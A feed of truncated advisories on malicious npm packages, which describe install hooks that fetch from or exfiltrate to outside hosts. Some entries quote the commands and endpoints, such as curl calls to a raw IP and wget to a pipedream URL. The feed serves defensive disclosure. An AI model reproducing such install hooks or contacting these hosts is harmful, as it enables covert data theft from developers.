Malicious code in a-onesite (npm)

Source: amazon-inspector 1b1ed6ca931448c083b5356eae6ad5af3cce9011d70fce4ce4ad427349991856 [email protected] ships an empty index.js and no library functionality. Its package.json declares preinstall, preupdate, and test scripts that all invoke wget against http://eoy34oyrep9j5x8.m.pipedream.net wi...

MAL-2026-16383 Malicious code in mxdriver (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2f3ed1442f0588fda7bc378a0fe79c7170864472c6cca93b8ec6629645b1add0 The npm package [email protected] ships obfuscator.io-style string-array-obfuscated preinstall and postinstall scripts scripts/preinstall.js,...

Malicious code in @traktis/core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 45eb01f2eb09b73c0660d97e76d37ab8f7d62773cab9cdbdea65039a37dbb534 package.json declares preinstall and postinstall lifecycle scripts that run curl against http://tko.amgsec.com/depconf/traktis-core/ on every npm...

Malicious code in sm-oauth (npm)

Source: amazon-inspector 98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc package.json declares preinstall and postinstall scripts that run curl -s http://16.192.173.5/sm-oauth/pre and curl -s http://16.192.173.5/sm-oauth/post on every npm install. The requests fire against a...

Malicious code in sm-cart (npm)

Source: amazon-inspector 14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0 Package [email protected] declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s http://16.192.173.5/sm-cart/post on every install, causing the...

Malicious code in @sudoughnym/enviro-demo (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 02c1c204d0f458d13d7140f4b7a007d551095665a418e9146037be9a5b2b7957 @sudoughnym/[email protected] ships preinstall.js and postinstall.js lifecycle scripts that run automatically on npm install. Both scripts collect...

Malicious code in @webda-infra/search (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1d3966598d25bae6a0824df09461ccbea8ad8ff22be2b3b93eab681cc733ff73 @webda-infra/[email protected] is a near-empty placeholder index.js is empty, module.exports = whose package.json declares a single dependency, ltidisafe...

Malicious code in @lux2/ssr-catalogue-sfcc (npm)

Package collects system info, exfiltrates data to a suspicious IP, executes shell commands, and uses pre/postinstall scripts. --- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b625e0932d70166d526fb8fa4993c8c448699203e795ad308cfe52cd784b28ff The package...

MAL-2026-1384 Malicious code in @lux2/ssr-catalogue-sfcc (npm)

Package collects system info, exfiltrates data to a suspicious IP, executes shell commands, and uses pre/postinstall scripts. --- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b625e0932d70166d526fb8fa4993c8c448699203e795ad308cfe52cd784b28ff The package...